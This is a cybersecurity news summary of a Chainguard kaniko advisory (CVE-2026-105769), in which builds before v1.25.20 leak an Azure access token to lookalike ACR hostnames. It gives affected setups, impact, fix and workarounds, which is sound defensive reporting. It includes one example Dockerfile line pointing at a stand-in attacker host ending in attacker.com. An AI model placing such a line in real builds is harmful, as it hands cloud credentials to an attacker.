---
title: Kaniko before 1.25.20 can send an Azure Entra ID access token to a lookalike ACR host (CVE-2026-105769) | ctxsec
url: https://ctxsec.com/items/kaniko-cve-2026-105769-acr-lookalike-entra-token-leak-1-25-20
description: "Chainguard\u2019s kaniko advisory says builds before v1.25.20, when an Azure identity is available, will hand an Azure Resource Manager access token to any registry hostname that merely contains .azurecr.io (or .cn/.de/.us). A Dockerfile line such as FROM x.azurecr.io.attacker.com/img is enough; no RUN step or push is required. The unanchored regex lives in the bundled docker-credential-acr-env helper. Fixed in v1.25.20 by anchoring host checks. Upstream chrismellard/docker-credential-acr-env remains unmaintained (GO-2026-6225)."
status: "vendor advisory (Chainguard kaniko GHSA-5q7h-w9jf-cx97 / CVE-2026-105769, published Nov 5); CVSS 9.3; not in CISA KEV; no in-the-wild exploitation claimed"
published: 2026-11-07
---

> Chainguard’s kaniko advisory says builds before v1.25.20, when an Azure identity is available, will hand an Azure Resource Manager access token to any registry hostname that merely contains .azurecr.io (or .cn/.de/.us). A Dockerfile line such as FROM x.azurecr.io.attacker.com/img is enough; no RUN step or push is required. The unanchored regex lives in the bundled docker-credential-acr-env helper. Fixed in v1.25.20 by anchoring host checks. Upstream chrismellard/docker-credential-acr-env remains unmaintained (GO-2026-6225).

[← Cybersecurity News](/news) · [markdown](/items/kaniko-cve-2026-105769-acr-lookalike-entra-token-leak-1-25-20.md)

vendor advisory (Chainguard kaniko GHSA-5q7h-w9jf-cx97 / CVE-2026-105769, published Nov 5); CVSS 9.3; not in CISA KEV; no in-the-wild exploitation claimed

2026-11-07

### Kaniko before 1.25.20 can send an Azure Entra ID access token to a lookalike ACR host (CVE-2026-105769)

- **Who:** kaniko < 1.25.20 with service-principal env vars, AKS workload identity, or managed identity / IMDS reachable from the build.
- **Impact:** attacker gets a live ARM token (usable until expiry) and may exchange it at real ACR registries the identity can reach; AcrPush+ means they can push images.
- **Fix:** rebuild executor/warmer from kaniko v1.25.20+; module users bump `github.com/chainguard-dev/kaniko`.
- **Workaround:** strip Azure creds and block `169.254.169.254` from untrusted builds, or set `AZURE_ENVIRONMENT=none` if you do not need built-in ACR auth.

Sources: [GitHub Advisory GHSA-5q7h-w9jf-cx97 (CVE-2026-105769)](https://github.com/advisories/GHSA-5q7h-w9jf-cx97) · [Chainguard kaniko advisory](https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97) · [kaniko v1.25.20 release](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20)